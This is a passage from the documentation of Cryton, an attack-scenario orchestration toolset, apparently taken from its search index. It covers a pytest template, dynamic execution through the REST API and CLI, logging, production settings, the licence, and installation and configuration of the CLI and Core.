<p>A test should follow the following structure. <pre><code>import pytest\n\nclass TestUnitName:\n path = \"path.to.patch.MyClass\"\n\n @pytest.fixture\n def f_to_patch(self, mocker):\n return mocker.patch(f\"{self.path}.to_patch\")\n\n @pytest.mark.parametrize(\n \"p_to_parametrize\",\n [\n ]\n )\n def test_to_test(self, f_to_patch, p_to_parametrize):\n # Arrange - set everything needed for the test\n\n # Mock - mock everything needed to isolate your test\n\n # Act - trigger your code unit\n\n # Assert - assert the outcome is exactly as expected to avoid any unpleasant surprises later\n pass\n</code></pre></p>"},{"location":"contribution-guide/#documentation","title":"Documentation","text":""},{"location":"contribution-guide/#cli-documentation-generation","title":"CLI documentation generation","text":"<p>Install Cryton CLI and run <code>cryton-cli generate-docs doc.md</code></p>"},{"location":"contribution-guide/#core-rest-api-documentation-generation","title":"Core REST API documentation generation","text":"<ul> <li>Install the swagger-markdown tool</li> <li>Download the schema from http://127.0.0.1:8000/api/schema/</li> <li>Run <code>swagger-markdown -i path/to/swagger-schema.yml</code>.</li> </ul>"},{"location":"contribution-guide/#useful-links","title":"Useful links","text":"<ul> <li>MkDocs Wiki (Third-party themes, recipes, plugins and more)</li> <li>Best-of-MkDocs (Curated list of themes, plugins and more)</li> </ul>"},{"location":"dynamic-execution/","title":"Dynamic execution","text":"<p>To support dynamic security testing. We've added support for creating dynamic plans. They allow the user to create an empty Plan/Stage and create their agent to control the execution instead of Cryton's advanced scheduler.</p>"},{"location":"dynamic-execution/#features","title":"Features","text":"<ul> <li>Create a Plan/Step/Stage for dynamic execution (an empty list of Stages/Steps can be provided)</li> <li>Add Step to Stage execution and execute it</li> <li>Add Stage to Plan execution and start it</li> <li>Added Steps are automatically set as a successor of the last Step (only if the <code>is_init</code> variable is not set to True and a possible parent Step exists)</li> </ul>"},{"location":"dynamic-execution/#limitations","title":"Limitations","text":"<ul> <li>Dynamic plan must have a <code>dynamic</code> variable set to True</li> <li>If you don't want to pass any Stages/Steps you must provide an empty list</li> <li>Each Stage and Step must have a unique name in the same Plan (utilize inventory variables to overcome this limitation)</li> <li>The Stage/Step you're trying to add must be valid</li> <li>Run's Plan must contain the instance (Stage/Step) you are trying to execute</li> <li>You cannot create multiple executions for an instance (you can execute an instance only once) under the same Plan execution</li> </ul>"},{"location":"dynamic-execution/#example-using-python","title":"Example using Python","text":"<p>You will probably want to automate these actions rather than using CLI to do them. For this purpose, we will create a simple Python script that will:</p> <ol> <li>Create a template</li> <li>Create a Plan</li> <li>Add a Stage</li> <li>Add a Step</li> <li>Create a Run</li> <li>Execute the Run</li> <li>Create a new Step</li> <li>Execute the new Step</li> <li>Get the Run report</li> </ol> <p>Requirements</p> <ul> <li>Cryton Core is running (REST API is accessible at localhost:8000)</li> <li>Worker is registered in Core and running</li> <li>mod_cmd is accessible from the Worker</li> </ul> <p>Download the example script:</p> curlwget <pre><code>curl -O https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/dynamic_example.py\n</code></pre> <pre><code>wget https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/dynamic_example.py\n</code></pre> <p>Update the <code>WORKER_ID</code> variable, and run the script: <pre><code>python3 dynamic_example.py\n</code></pre></p> Show the example <pre><code>import requests\nimport yaml\nimport time\n\nWORKER_ID = 0\n\nTEMPLATE = {\n \"plan\": {\n \"name\": \"example\",\n \"owner\": \"Cryton\",\n \"dynamic\": True,\n \"stages\": []\n }\n}\n\nSTAGE = {\n \"name\": \"no delay stage {{ id }}\",\n \"trigger_type\": \"delta\",\n \"trigger_args\": {\n \"seconds\": 0\n },\n \"steps\": []\n}\n\nSTEP = {\n \"name\": \"initial step\",\n \"step_type\": \"worker/execute\",\n \"is_init\": True,\n \"arguments\": {\n \"module\": \"mod_cmd\",\n \"module_arguments\": {\n \"cmd\": \"whoami\"\n }\n }\n}\n\nSTEP_REUSABLE = {\n \"name\": \"reusable step {{ id }}\",\n \"step_type\": \"worker/execute\",\n \"arguments\": {\n \"module\": \"mod_cmd\",\n \"module_arguments\": {\n \"cmd\": \"{{ command }}\"\n }\n }\n}\n\n\ndef get_api_root():\n api_address = \"localhost\"\n api_port = 8000\n return f\"http://{api_address}:{api_port}/api/\"\n\n\nif __name__ == \"__main__\":\n # Check if the Worker is specified\n if WORKER_ID < 1:\n raise Exception(\"Please specify a correct Worker ID at the top of the file.\")\n print(f\"Worker id: {WORKER_ID}\")\n\n # Get api root\n api_root = get_api_root()\n\n # 1. Create a template\n r_create_template = requests.post(f\"{api_root}templates/\", files={\"file\": yaml.dump(TEMPLATE)})\n template_id = r_create_template.json()['id']\n print(f\"Template id: {template_id}\")\n\n # 2. Create a Plan\n r_create_plan = requests.post(f\"{api_root}plans/\", data={'template_id': template_id})\n plan_id = r_create_plan.json()['id']\n print(f\"Plan id: {plan_id}\")\n\n # 3. Add a Stage\n stage_inventory = {\"id\": 1}\n r_create_stage = requests.post(f\"{api_root}stages/\", data={'plan_id': plan_id},\n files={\"file\": yaml.dump(STAGE), \"inventory_file\": yaml.dump(stage_inventory)})\n stage_id = r_create_stage.json()['id']\n print(f\"Stage id: {stage_id}\")\n\n # 4. Add a Step\n r_create_step = requests.post(f\"{api_root}steps/\", data={'stage_id': stage_id}, files={\"file\": yaml.dump(STEP)})\n step_id = r_create_step.json()['id']\n print(f\"Step id: {step_id}\")\n\n # 5. Create a new Run\n r_create_run = requests.post(f\"{api_root}runs/\", data={'plan_id': plan_id, \"worker_ids\": [WORKER_ID]})\n run_id = r_create_run.json()[\"id\"]\n print(f\"Run id: {run_id}\")\n\n # 6. Execute the Run\n r_execute_run = requests.post(f\"{api_root}runs/{run_id}/execute/\", data={'run_id': run_id})\n print(f\"Run response: {r_execute_run.text}\")\n\n # 7. Create a new Step\n step_inventory = {\"id\": 1, \"command\": \"echo test\"}\n r_create_step2 = requests.post(f\"{api_root}steps/\", data={'stage_id': stage_id},\n files={\"file\": yaml.dump(STEP_REUSABLE),\n \"inventory_file\": yaml.dump(step_inventory)})\n step_id2 = r_create_step2.json()['id']\n print(f\"Second step id: {step_id2}\")\n\n # 8. Execute the new Step (First, get Stage execution's id)\n stage_execution_id = requests.get(f\"{api_root}runs/{run_id}/report/\")\\\n .json()[\"detail\"][\"plan_executions\"][0][\"stage_executions\"][0][\"id\"]\n r_execute_step = requests.post(f\"{api_root}steps/{step_id2}/execute/\",\n data={'stage_execution_id': stage_execution_id})\n print(f\"Second Step response: {r_execute_step.text}\")\n\n # 9. Get Run report\n for i in range(5):\n time.sleep(3)\n current_state = requests.get(f\"{api_root}runs/{run_id}/\").json()[\"state\"]\n if current_state == \"FINISHED\":\n break\n print(f\"Waiting for a final state. Current state: {current_state}\")\n\n print()\n print(\"Report: \")\n print(yaml.dump(requests.get(f\"{api_root}runs/{run_id}/report/\").json()[\"detail\"]))\n</code></pre>"},{"location":"dynamic-execution/#example-using-cli","title":"Example using CLI","text":"<p>For this example we will assume that:</p> <p>Requirements</p> <ul> <li>Cryton Core is running (REST API is accessible at localhost:8000)</li> <li>Worker is registered in Core and running</li> <li>mod_cmd is accessible from the Worker</li> </ul> <p>Files used in this guide can be found in the Cryton Core repository.</p> <p>It's best to switch to the example directory, so we will assume that's true. <pre><code>cd /path/to/cryton-core/examples/dynamic-execution-example/\n</code></pre></p>"},{"location":"dynamic-execution/#building-a-base-plan-and-executing-it","title":"Building a base Plan and executing it","text":"<p>First, we create a template <pre><code>cryton-cli plan-templates create template.yml\n</code></pre></p> <p>Create a Plan (instance) <pre><code>cryton-cli plans create <template_id>\n</code></pre></p> <p>Add a Stage to the Plan (update the inventory file to your needs) <pre><code>cryton-cli stages create <plan_id> stage.yml -i stage-inventory.yml\n</code></pre></p> <p>Add an initial Step to the Stage <pre><code>cryton-cli steps create <stage_id> step-init.yml\n</code></pre></p> <p>Add a reusable Step to the Stage (update the inventory file to your needs) <pre><code>cryton-cli steps create <stage_id> step-reusable.yml -i step-reusable-inventory.yml\n</code></pre></p> <p>Create a Worker you want to test on <pre><code>cryton-cli workers create local\n</code></pre></p> <p>Create a Run <pre><code>cryton-cli runs create <plan_id> <worker_id>\n</code></pre></p> <p>Execute the Run <pre><code>cryton-cli runs execute <run_id>\n</code></pre></p>"},{"location":"dynamic-execution/#start-a-standalone-stage","title":"Start a standalone Stage:","text":"<p>Add your Stage to the desired Plan (Update the inventory file! Stage names must be unique.) <pre><code>cryton-cli stages create <plan_id> stage.yml -i stage-inventory.yml\n</code></pre></p> <p>Start your Stage (its trigger) under the desired Plan execution <pre><code>cryton-cli stages start-trigger <stage_id> <plan_execution_id>\n</code></pre></p>"},{"location":"dynamic-execution/#execute-a-standalone-step","title":"Execute a standalone Step:","text":"<p>Add your Step to the desired Stage (Update the inventory file! Step names must be unique.) <pre><code>cryton-cli steps create <stage_id> step-reusable.yml -i step-reusable-inventory.yml\n</code></pre></p> <p>Execute your Step under the desired Stage execution <pre><code>cryton-cli steps execute <step_id> <stage_execution_id>\n</code></pre></p>"},{"location":"dynamic-execution/#check-the-results-works-only-once-the-run-is-created","title":"Check the results - works only once the Run is created:","text":"<pre><code>cryton-cli runs report 1 --less\n</code></pre>"},{"location":"license/","title":"License","text":"<p>Cryton is open-source software developed by Masaryk University, and distributed under MIT license.</p>"},{"location":"license/#license-terms","title":"License Terms","text":"<p>Copyright 2023 MASARYK UNIVERSITY</p> <p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \u201cSoftware\u201d), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p> <p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p> <p>THE SOFTWARE IS PROVIDED \u201cAS IS\u201d, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>"},{"location":"logging/","title":"Logging","text":"<p>The logs adhere to the following format: <pre><code>{\"queue\": \"cryton_core.control.request\", \"event\": \"Queue declared and consuming\", \"logger\": \"cryton-debug\", \"level\": \"info\", \"timestamp\": \"2021-05-18T11:19:20.012152Z\"}\n{\"plan_name\": \"Example scenario\", \"plan_id\": 129, \"status\": \"success\", \"event\": \"plan created\", \"logger\": \"cryton\", \"level\": \"info\", \"timestamp\": \"2021-05-18T06:17:39.753017Z\"}\n</code></pre></p> <p>Logs are stored in the app directory, which can be found at <code>~/.local/cryton_<app></code>. In case you're running the app in a Docker container the logs will be saved inside the container.</p>"},{"location":"logging/#core","title":"Core","text":"<p>Every change of state is logged for later analysis. Every Step the result is also logged, although the output is not. It can be found in the database.</p> <p>You can switch between the debug and the production loggers using the environment variable CRYTON_CORE_DEBUG. To run tests, we use a testing logger to avoid saving unwanted logs.</p> <p>Production (<code>cryton-core</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_CORE_APP_DIRECTORY/log/cryton-core.log)</li> </ul> <p>Debug (<code>cryton-core-debug</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_CORE_APP_DIRECTORY/log/cryton-core-debug.log)</li> <li>Console (std_out)</li> </ul> <p>Testing (<code>cryton-core-test</code>)</p> <ul> <li>Console (std_out)</li> </ul>"},{"location":"logging/#worker","title":"Worker","text":"<p>Each request and its processing are logged for later analysis.</p> <p>You can switch between the debug and the production loggers using the environment variable CRYTON_WORKER_DEBUG. To run tests, we use a testing logger to avoid saving unwanted logs.</p> <p>Production (<code>cryton-worker</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_WORKER_APP_DIRECTORY/log/cryton-worker.log)</li> </ul> <p>Debug (<code>cryton-worker-debug</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_WORKER_APP_DIRECTORY/log/cryton-worker-debug.log)</li> <li>Console (std_out)</li> </ul> <p>Testing (<code>cryton-worker-test</code>)</p> <ul> <li>Console (std_out)</li> </ul>"},{"location":"production/","title":"Production","text":"<p>There are some rules you should follow when deploying Cryton to a production environment.</p>"},{"location":"production/#core","title":"Core","text":""},{"location":"production/#settings","title":"Settings","text":"<p>Update these settings to not use the default values</p> <ul> <li>CRYTON_CORE_RABBIT_PASSWORD</li> <li>CRYTON_CORE_DB_PASSWORD</li> <li>CRYTON_CORE_API_SECRET_KEY</li> </ul>"},{"location":"production/#proxy","title":"Proxy","text":"<p>Hide the rest API behind a proxy with restricted access.</p> <p>Tip</p> <p>Use the officially supplied docker-compose.yml and add a .htaccess file to it.</p>"},{"location":"production/#worker","title":"Worker","text":""},{"location":"production/#settings_1","title":"Settings","text":"<p>Update these settings to not use the default values</p> <ul> <li>CRYTON_WORKER_NAME</li> <li>CRYTON_WORKER_MODULES_DIR</li> <li>CRYTON_WORKER_MSFRPCD_PASSWORD</li> <li>CRYTON_WORKER_RABBIT_PASSWORD</li> <li>CRYTON_WORKER_EMPIRE_PASSWORD</li> </ul>"},{"location":"components/cli/","title":"CLI","text":""},{"location":"components/cli/#description","title":"Description","text":"<p>Cryton CLI is a command line interface used to interact with Cryton Core (its API).</p> <p>Link to the repository.</p>"},{"location":"components/cli/#settings","title":"Settings","text":"<p>Cryton CLI uses environment variables for its settings. Please update them to your needs.</p>"},{"location":"components/cli/#overriding-settings","title":"Overriding settings","text":"<p>To override the settings, use the <code>export</code> command: <pre><code>export CRYTON_CLI_API_HOST=127.0.0.1\n</code></pre></p> <p>Use <code>unset</code> to remove a variable.</p> <p>Some settings can be overridden using the CLI. Try using: <pre><code>cryton-cli --help\n</code></pre></p> Overriding settings permanently <p></p> <p>First, make sure the app directory exists: <pre><code>mkdir -p ~/.local/cryton-cli/\n</code></pre></p> <p>Download the default settings into the app directory:</p> curlwget <pre><code>curl -o ~/.local/cryton-cli/.env https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/.env\n</code></pre> <pre><code>wget -O ~/.local/cryton-cli/.env https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/.env\n</code></pre> <p>Open the file and update it to your needs.</p> Overriding settings with Docker <p></p> <p>To override a variable use the <code>-e</code> or the <code>--env-file</code> option: <pre><code>docker run -e CRYTON_CLI_API_HOST=127.0.0.1 --env-file relative/path/to/.env ...\n</code></pre></p> <p>More information can be found here.</p> Overriding settings with Docker compose <p></p> <p>Override variables in the <code>environment</code> or the <code>env_file</code> attribute: <pre><code>services\n service:\n environment:\n - CRYTON_CLI_API_HOST=127.0.0.1\n env_file:\n - relative/path/to/.env\n</code></pre></p> <p>More information can be found here.</p>"},{"location":"components/cli/#available-settings","title":"Available settings","text":""},{"location":"components/cli/#cryton_cli_time_zone","title":"CRYTON_CLI_TIME_ZONE","text":"<p>Timezone used for scheduling (for example when scheduling a Run). Use the <code>AUTO</code> value to use your system timezone.</p> value default example string AUTO Europe/Prague"},{"location":"components/cli/#cryton_cli_api_host","title":"CRYTON_CLI_API_HOST","text":"<p>Cryton Core's API address.</p> value default example string 127.0.0.1 cryton-core.host"},{"location":"components/cli/#cryton_cli_api_port","title":"CRYTON_CLI_API_PORT","text":"<p>Cryton Core's API port.</p> value default example int 8000 8008"},{"location":"components/cli/#cryton_cli_api_ssl","title":"CRYTON_CLI_API_SSL","text":"<p>Use SSL to connect to REST API.</p> value default example boolean false true"},{"location":"components/cli/#cryton_cli_api_root","title":"CRYTON_CLI_API_ROOT","text":"<p>REST API URL. (do not change, if you don't know what you're doing)</p> value default example string api/ api/path/"},{"location":"components/cli/#cryton_cli_app_directory","title":"CRYTON_CLI_APP_DIRECTORY","text":"<p>Path to the Cryton CLI directory. (do not change, if you don't know what you're doing)</p> value default example string ~/.local/cryton-cli/ /path/to/app/ <p>The default value in Docker is set to <code>/app</code>.</p>"},{"location":"components/cli/#installation","title":"Installation","text":""},{"location":"components/cli/#with-pipx","title":"With pipx","text":"<p>Cryton CLI is available in the PyPI and can be installed using pip. However, we highly recommend installing the app in an isolated environment using pipx.</p> <p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>pipx</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> <li>Enable shell completion</li> </ul> <p>Install the app:</p> pipxpip <pre><code>pipx install cryton-cli\n</code></pre> <pre><code>pip install --user cryton-cli\n</code></pre>"},{"location":"components/cli/#with-docker","title":"With Docker","text":"<p>Cryton CLI is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> <p>Run the container and enter an interactive shell: <pre><code>docker run -it --network host registry.gitlab.ics.muni.cz:443/cryton/cryton-cli:2023.1\n</code></pre></p>"},{"location":"components/cli/#with-docker-compose","title":"With Docker Compose","text":"<p>Example Docker Compose configuration is also available. </p> <p>Requirements</p> <ul> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> Switch to the app directory <pre><code>mkdir -p ~/.local/cryton-cli/\ncd ~/.local/cryton-cli/\n</code></pre> <p>Download the configuration using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the container and enter an interactive shell: <pre><code>docker compose run cryton_cli\n</code></pre></p>"},{"location":"components/cli/#usage","title":"Usage","text":"<p>Use the following to invoke the app: <pre><code>cryton-cli\n</code></pre></p> <p>You should see a help page: <pre><code>Usage: cryton-cli [OPTIONS] COMMAND [ARGS]...\n\n A CLI wrapper for Cryton API.\n\nOptions:\n ...\n</code></pre></p> <p>To learn about each command's options use: <pre><code>cryton-cli <your command> --help\n</code></pre></p> How to change the default API host/port? <p>To change the default API host/port use -H and -p options. <pre><code>cryton-cli -H 127.0.0.1 -p 8000 <your command>\n</code></pre></p>"},{"location":"components/cli/#shell-completion","title":"Shell completion","text":"<p>Shell completion is available for the Bash, Zsh, and Fish shell and has to be manually enabled.</p> <ul> <li>To enable the shell completion, the tool must be present</li> <li>The shell completion is enabled in Docker by default</li> </ul> <p>First, make sure the app directory exists:</p> BashZsh <pre><code>mkdir -p ~/.local/cryton-cli/\n</code></pre> <pre><code>mkdir -p ~/.local/cryton-cli/\n</code></pre> <p>Generate, save, and load the completion script:</p> BashZshFish <pre><code>_CRYTON_CLI_COMPLETE=bash_source cryton-cli > ~/.local/cryton-cli/cryton-cli-complete.bash\necho \". ~/.local/cryton-cli/cryton-cli-complete.bash\" >> ~/.bashrc\n</code></pre> <pre><code>_CRYTON_CLI_COMPLETE=zsh_source cryton-cli > ~/.local/cryton-cli/cryton-cli-complete.zsh\necho \". ~/.local/cryton-cli/cryton-cli-complete.zsh\" >> ~/.zshrc\n</code></pre> <pre><code>_CRYTON_CLI_COMPLETE=fish_source cryton-cli > ~/.config/fish/completions/cryton-cli-complete.fish\n</code></pre> <p>You may need to restart your shell for the changes to take effect.</p>"},{"location":"components/core/","title":"Core","text":""},{"location":"components/core/#description","title":"Description","text":"<p>Cryton Core is the center point of the Cryton toolset. It is used for:</p> <ul> <li>Creating, planning, and scheduling attack scenarios</li> <li>Generating reports</li> <li>Controlling Workers and scenarios execution</li> </ul> <p>Link to the repository.</p>"},{"location":"components/core/#settings","title":"Settings","text":"<p>Cryton Core uses environment variables for its settings. Please update them to your needs.</p>"},{"location":"components/core/#overriding-settings","title":"Overriding settings","text":"<p>To override the settings, use the <code>export</code> command: <pre><code>export CRYTON_CORE_RABBIT_USERNAME=cryton\n</code></pre></p> <p>Use <code>unset</code> to remove a variable.</p> <p>Some settings can be overridden using the CLI. Try using: <pre><code>cryton-core help <your command>\n</code></pre></p> Overriding settings permanently <p></p> <p>First, make sure the app directory exists: <pre><code>mkdir -p ~/.local/cryton-core/\n</code></pre></p> <p>Download the default settings into the app directory:</p> curlwget <pre><code>curl -o ~/.local/cryton-core/.env https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/.env\n</code></pre> <pre><code>wget -O ~/.local/cryton-core/.env https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/.env\n</code></pre> <p>Open the file and update it to your needs.</p> Overriding settings with Docker <p></p> <p>To override a variable use the <code>-e</code> or the <code>--env-file</code> option: <pre><code>docker run -e CRYTON_CORE_RABBIT_USERNAME=cryton --env-file relative/path/to/.env ...\n</code></pre></p> <p>More information can be found here.</p> Overriding settings with Docker compose <p></p> <p>Override variables in the <code>environment</code> or the <code>env_file</code> attribute: <pre><code>services\n service:\n environment:\n - CRYTON_CORE_RABBIT_USERNAME=cryton\n env_file:\n - relative/path/to/.env\n</code></pre></p> <p>More information can be found here.</p>"},{"location":"components/core/#available-settings","title":"Available settings","text":""},{"location":"components/core/#cryton_core_rabbit_host","title":"CRYTON_CORE_RABBIT_HOST","text":"<p>RabbitMQ server host.</p> value default example string 127.0.0.1 cryton-rabbit"},{"location":"components/core/#cryton_core_rabbit_port","title":"CRYTON_CORE_RABBIT_PORT","text":"<p>RabbitMQ server port.</p> value default example int 5672 15672"},{"location":"components/core/#cryton_core_rabbit_username","title":"CRYTON_CORE_RABBIT_USERNAME","text":"<p>Username for RabbitMQ server login.</p> value default example string cryton admin"},{"location":"components/core/#cryton_core_rabbit_password","title":"CRYTON_CORE_RABBIT_PASSWORD","text":"<p>Password for RabbitMQ server login.</p> value default example string cryton mypass"},{"location":"components/core/#cryton_core_db_host","title":"CRYTON_CORE_DB_HOST","text":"<p>Postgres server host.</p> value default example string 127.0.0.1 cryton-pgbouncer"},{"location":"components/core/#cryton_core_db_port","title":"CRYTON_CORE_DB_PORT","text":"<p>Postgres server port.</p> value default example int 5432 15432"},{"location":"components/core/#cryton_core_db_name","title":"CRYTON_CORE_DB_NAME","text":"<p>Used Postgres database name. (do not change, if you don't know what you're doing)</p> value default example string cryton cryton_db"},{"location":"components/core/#cryton_core_db_username","title":"CRYTON_CORE_DB_USERNAME","text":"<p>Username for Postgres server login.</p> value default example string cryton user"},{"location":"components/core/#cryton_core_db_password","title":"CRYTON_CORE_DB_PASSWORD","text":"<p>Password for Postgres server login.</p> value default example string cryton passwd"},{"location":"components/core/#cryton_core_q_attack_response","title":"CRYTON_CORE_Q_ATTACK_RESPONSE","text":"<p>Queue name for processing attack responses. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.attack.response cryton_core.attack.response.id"},{"location":"components/core/#cryton_core_q_agent_response","title":"CRYTON_CORE_Q_AGENT_RESPONSE","text":"<p>Queue name for processing agent responses. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.agent.response cryton_core.agent.response.id"},{"location":"components/core/#cryton_core_q_event_response","title":"CRYTON_CORE_Q_EVENT_RESPONSE","text":"<p>Queue name for processing event responses. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.event.response cryton_core.event.response.id"},{"location":"components/core/#cryton_core_q_control_request","title":"CRYTON_CORE_Q_CONTROL_REQUEST","text":"<p>Queue name for processing control requests. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.control.request cryton_core.control.request.id"},{"location":"components/core/#cryton_core_debug","title":"CRYTON_CORE_DEBUG","text":"<p>Make Core run with debug output.</p> value default example boolean false true"},{"location":"components/core/#cryton_core_default_rpc_timeout","title":"CRYTON_CORE_DEFAULT_RPC_TIMEOUT","text":"<p>Timeout (in seconds) for RabbitMQ RPC requests.</p> value default example int 120 200"},{"location":"components/core/#cryton_core_api_secret_key","title":"CRYTON_CORE_API_SECRET_KEY","text":"<p>Key (64 chars) used by REST API for cryptographic signing. More information can be found here.</p> value default example string cryton XF37..56 chars..6HB3"},{"location":"components/core/#cryton_core_api_allowed_hosts","title":"CRYTON_CORE_API_ALLOWED_HOSTS","text":"<p>Domain names that the site can serve. (do not change, if you don't know what you're doing) More information can be found here.</p> value default example list of strings separated by space * host host2"},{"location":"components/core/#cryton_core_api_static_root","title":"CRYTON_CORE_API_STATIC_ROOT","text":"<p>Directory for storing static files. (do not change, if you don't know what you're doing) More information can be found here.</p> value default example string /usr/local/apache2/web/static/ /var/www/example.com/static/"},{"location":"components/core/#cryton_core_api_use_static_files","title":"CRYTON_CORE_API_USE_STATIC_FILES","text":"<p>Whether to serve static files or not. (do not change, if you don't know what you're doing)</p> value default example boolean false true"},{"location":"components/core/#cryton_core_cpu_cores","title":"CRYTON_CORE_CPU_CORES","text":"<p>The maximum number of CPU cores (processes) Cryton Core can utilize. (do not change, if you don't know what you're doing) This affects the speed of starting/consuming Steps/Rabbit requests. Set the value to <code>auto</code> for the best CPU utilization.</p> value default example int 3 2"},{"location":"components/core/#cryton_core_execution_threads_per_process","title":"CRYTON_CORE_EXECUTION_THREADS_PER_PROCESS","text":"<p>How some payloads or Rabbit's channel consumers should be distributed. (do not change, if you don't know what you're doing) This affects the speed of starting/consuming Steps/Rabbit requests.</p> value default example int 7 5"},{"location":"components/core/#cryton_core_app_directory","title":"CRYTON_CORE_APP_DIRECTORY","text":"<p>Path to the Cryton Core directory. (do not change, if you don't know what you're doing)</p> value default example string ~/.local/cryton-core/ /path/to/app/ <p>The default value in Docker is set to <code>/app</code>.</p>"},{"location":"components/core/#prerequisites","title":"Prerequisites","text":"<p>Cryton Core requires the following technologies to run properly:</p> <ul> <li>PostgreSQL database</li> <li>RabbitMQ server</li> <li>PgBouncer</li> </ul> <p>To make the installation process smoother the prerequisites are bundled within the Docker Compose installation.</p> Want to use pipx or Docker, but don't want to install and set up the prerequisites on your own? <p>Requirements</p> <ul> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> </ul> <p>First, you have to create permanent settings. Then, switch to the app directory: <pre><code>cd ~/.local/cryton-core/\n</code></pre></p> <p>Download the Compose configuration:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.prerequisites.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.prerequisites.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose -f docker-compose.prerequisites.yml up -d\n</code></pre></p>"},{"location":"components/core/#installation","title":"Installation","text":""},{"location":"components/core/#with-docker-compose","title":"With Docker Compose","text":"<p>The easiest way to install Cryton Core (and its prerequisites) is to use the example Docker Compose configuration.</p> <p>Requirements</p> <ul> <li>Docker Compose</li> <li>Create permanent settings</li> <li>Update the following settings:<ol> <li>CRYTON_CORE_RABBIT_HOST=cryton-rabbit</li> <li>CRYTON_CORE_DB_HOST=cryton-pgbouncer</li> <li>CRYTON_CORE_API_USE_STATIC_FILES=true</li> </ol> </li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> </ul> <p>First, switch to the app directory: <pre><code>cd ~/.local/cryton-core/\n</code></pre></p> <p>Download the Compose configuration:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p> What should the output look like? <pre><code>[+] Running 6/6\n \u283f Network cryton-core_default Created\n \u283f Container cryton-rabbit Healthy\n \u283f Container cryton-db Healthy\n \u283f Container cryton-pgbouncer Healthy\n \u283f Container cryton-core Started\n \u283f Container cryton-proxy Started\n</code></pre> <p>Check if the installation was successful and the app is running with curl: <pre><code>curl localhost:8000/api/\n</code></pre></p> What should the output look like? <pre><code>{\"runs\":\"http://localhost:8000/cryton/api/v1/runs/\",\"plans\":\"http://localhost:8000/cryton/api/v1/plans/\",\n\"plan_executions\":\"http://localhost:8000/cryton/api/v1/plan_executions/\",\"stages\":\"http://localhost:8000/cryton/api/v1/stages/\",\n\"stage_executions\":\"http://localhost:8000/cryton/api/v1/stage_executions/\",\"steps\":\"http://localhost:8000/cryton/api/v1/steps/\",\n\"step_executions\":\"http://localhost:8000/cryton/api/v1/step_executions/\",\"workers\":\"http://localhost:8000/cryton/api/v1/workers/\"}\n</code></pre>"},{"location":"components/core/#with-pipx","title":"With pipx","text":"<p>Cryton Core is available in the PyPI and can be installed using pip. However, we highly recommend installing the app in an isolated environment using pipx.</p> <p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>pipx</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Install the app:</p> pipxpip <pre><code>pipx install cryton-core\n</code></pre> <pre><code>pip install --user cryton-core\n</code></pre>"},{"location":"components/core/#with-docker","title":"With Docker","text":"<p>Cryton Core is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> <p>Run the container: <pre><code>docker run -d registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1\n</code></pre></p> <p>Limitations</p> <p>The easiest way to make the container accessible from the outside and to allow the container to access the prerequisites is to use the <code>--network host</code> option: <pre><code>docker run --network host -d 